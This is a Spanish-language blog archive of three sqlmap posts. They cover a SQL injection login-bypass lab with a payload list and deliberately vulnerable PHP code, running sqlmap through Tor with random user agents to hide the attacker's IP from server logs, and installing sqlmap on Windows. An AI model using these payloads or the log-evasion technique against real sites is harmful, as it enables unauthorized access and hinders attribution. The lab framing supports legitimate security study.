Mostrando las entradas con la etiqueta sqlmap. Mostrar todas las entradas
Mostrando las entradas con la etiqueta sqlmap. Mostrar todas las entradas

domingo, 3 de mayo de 2020

Vulnerar Login SQLi sql injection Bypass - Laboratorio

Login Bypass Con SQLi - Laboratorio

Login bypass - sql injection
Login bypass - sql injection

Payloads:

  • ' OR 1=1--
  • 'OR '' = '
  • 'OR 1=1--
  • ' or "
  • -- or # 
  • ' OR '1
  • ' OR 1 -- -
  • " OR "" = "
  • " OR 1 = 1 -- -
  • ' OR '' = '
  • '=0--+
  •  OR 1=1
  • 'or'1'='1  ->> usado es este laboratorio

Objetivo del laboratorio

Cuando los sistemas de validación son creados sin tener en cuenta buenas prácticas de desarrollo nos podemos encontrar con escenarios en los cuales la inyección sql puede facilitar a los ciberdelincuentes el acceso a los sistemas mediante diferentes payloads los cuales al ser ingresados en los campos de usuario o contraseña permiten el acceso parcial o total al dashboard de administracion. Mediante este laboratorio se pretende desplegar un entorno de pruebas en el cual se puedan ejecutar los payloads previamente listados para observar el alcance que está vulnerabilidad puede tener en nuestros sistemas.

Lo primero que debemos hacer es crear una base de datos de prueba la cual tenga una tabla llamada users que contendrá los campos que se muestran en la siguiente imagen:

sql injection payload bypass login
Estructura de la tabla Users

todos los archivos tanto de la base de datos como el index.php y el index.html estarán al final de este post para su descarga.

En la tabla users ingresaremos un usuario en mi caso ingrese el siguiente:

sql injection payload bypass login
Usuario almacenado en la base de datos

lo último que debemos hacer es crear el archivo index.php el cual recibirá los parámetros por método get de usuario y contraseña y se encargará de buscar en la base de datos las credenciales ingresadas en el login.html para validar si existe o si los datos ingresados son erróneos.

codigo php vulnerable a sql injection - login bypass
Php vulnerable a sqli - login bypass
nos enfocaremos en este archivo php ya que este es el que consulta en la base de datos y el que contendrá la vulnerabilidad de sql injection. 

Si observamos la linea 17 la cual contiene la consulta a la base de datos:

 "SELECT * FROM users WHERE nickname = '$nickname_sent' and password = '$password_send';

nos podemos dar cuenta que no se ha hecho ningún tipo de validación por parte del desarrollador para evitar una inyección en los parámetros de nicknamae y password, de este modo si un atacante enviara como parametro 'or'1'='1  la consulta sql quedaría de este modo:

 "SELECT * FROM users WHERE nickname = ''or'1'='1' and password = ''or'1'='1';

Como podemos observar el payload  'or'1'='1   insertado como parámetro genera una inyección que sobreescribe la consulta sql y altera su normal funcionamiento, en este laboratorio daría como resultado el inicio de sesión con los datos del primer usuario almacenado en la tabla users pero a partir de este fallo se podría listar toda la información de la base de datos tests o las bases de datos almacenadas en el servidor.

Descargar Los archivos:

jueves, 4 de julio de 2019

Ejecutar Sqlmap Con TOR 💀 🛡️

Cuando se lanza un ataque a un pagina haciendo uso de SQLMAP esta deja atrás de cada petición información en la cual se incluye la dirección ip publica y user agent la cual puede ser utilizada para procesos de investigación y detección del origen del ataque, en este post les enseñare como un atacante puede modificar esta información y realizar peticiones de forma anónima. 

proteger la identidad de sqlmap mediante tor
Sqlmap con TOR

 Ataque SQLmap sin protección de identidad:

Primero vamos a ver una petición común realizada con sqlmap:

sqlmap.py -u 'http://xxxxxxx.com/sqli/login.php' --data="user=admin&password=admin&s=OK" --threads=5 -vv --dbs

Sqlmap sin utilizar protección para ocultar la ip. Ataque sin usar la red tor
Ataque normal
Si ejecutamos este ataque y observamos los logs del servidor nos podemos dar cuenta que estamos enviando nuestra ip publica en cada peticion y el user agent es configurado por defecto por sqlmap con el contenido: "sqlmap/version (url pagina de sqlmap)" como podemos ver en la siguiente imagen:

logs de un servidor apache tras haber realizado un ataque sin utilizar protección de identidad con la herramienta sqlmap
Logs apache tras un ataque de sql injection

ip publica que sera almacenada en los logs del servidor tras un ataque de inyección sql con la herramienta sqlmap
Ip publica (Ataque sin anonimato)
como podemos observar la ip publica de la red utilizada para mandar las peticiones del ataque concuerda con la reguistrada en los logs del servidor apache.

Ataque sqlmap con proteccion de identidad:   

SQLmap nos provee la facilidad de encapsulas todas las peticiones a través de la red tor, para esto solo debemos instalar el navegador tor y ejecutarlo, una vez esté ejecutandose correctamente podemos pasar a nuestra consola y hacer uso de sqlmap con los siguientes parametros:

  • --tor = le indicara a sqlmap que encapsule el envio de las peticiones haciendo uso de la red tor.
  • --check-tor = Comprueba que Tor si se utiliza correctamente.
  • --random-agent = Utilizar un user agent alearorio. 
sqlmap.py -u 'http://xxxxxxx.com/sqli/login.php' --data="user=as&password=as&s=OK" --tor --check-tor --random-agent --threads=5 -vv --dbs

haciendo uso de la red tor para encapsular las peticiones enviadas para el ataque de inyección sql mediante la herramienta sqlmap
Ataque enviado por la red TOR

una vez realizado el ataque podremos ver en los logs del servidor que nuestra ip publica ahora es reemplazada por la direccion ip del nodo de salida de la red tor y el user agent es reemplazado por uno aleatorio seleccionado por la herramienta, todo esto lo podemos comprobar en la siguiente imagen:

logs de un servidor apache tras un ataque sqli a travez de la red tor
Logs ataque sqlmap utilizando la red TOR

ip nodo de salida red tor la cual querada registrada en los logs del servidor como la ip atacante
Ip nodo de salida red TOR

Como podemos ver en las imágenes un atacante podría fácilmente realizar ataques anónimos haciendo uso de la red tor y sqlmap, es de vital importancia analizar los logs de nuestros servidores para detectar este tipo de peticiones o implementar sistemas automatizados como WAF los cuales analicen el trafico y protejan automáticamente nuestra infraestructura.

miércoles, 17 de enero de 2018

Sqlmap para Windows 💀 💀 💀 [Actualizado]

  SQLMAP en WINDOWS 7 - 8 - 8.1 -10



Te recomiendo este video donde explico detalladamente la instalación de SqlMap en windows



Pasos:

1) Descargamos e instalamos python 2.7 desde el siguiente enlace.

https://www.python.org/ftp/python/2.7.14/python-2.7.14.msi

-Abrimos el instalador descargado 
-Damos en NEXT
Instalando  y configurando python en windows para poder correr sqlmap
INSTALANDO PYTHON EN WINDOWS 

-Nuevamente damos en NEXT
Instalando  y configurando python en windows para poder correr sqlmap

INSTALANDO PYTHON EN WINDOWS 

-NEXT
Instalando  y configurando python en windows para poder correr sqlmap

INSTALANDO PYTHON EN WINDOWS 

-Esperemos que se instale 
Instalando  y configurando python en windows para poder correr sqlmap

INSTALANDO PYTHON EN WINDOWS 

-Damos en FINISH
Instalando  y configurando python en windows para poder correr sqlmap

INSTALANDO PYTHON EN WINDOWS 

YA TENDRÍAMOS PYTHON INSTALADO 


2) Descargamos y descomprimimos SQLMAP desde el siguiente enlace.

https://drive.google.com/open?id=1utltsjX-2Y16niYhephTprf-v8O92HD1

-Al descomprimir, nos quedara una carpeta llamada sqlmap

-Abrimos un cmd e ingresamos a la carpeta sqlmap descomprimida, en mi caso la tengo en el escritorio
hacemos todo el proceso de instalación y configuración para poder utilizar sqlmap en windows
instalando y corriendo sqlmap en windows

-Una vez adentro de la carpeta sqlmap ejecutamos el siguiente comando el cual llama a python desde la ruta donde lo instalamos y ejecuta sqlmap.

C:\Python27\python sqlmap.py -u "http:ulr-pagina-a-atacar.com=index.php?=asdf" --dbs


hacemos todo el proceso de instalación y configuración para poder utilizar sqlmap en windows
instalando y corriendo sqlmap en windows


  Como podemos ver ya podemos ejecutar sqlmap 




hacemos todo el proceso de instalación y configuración para poder utilizar sqlmap en windows
instalando y corriendo sqlmap en windows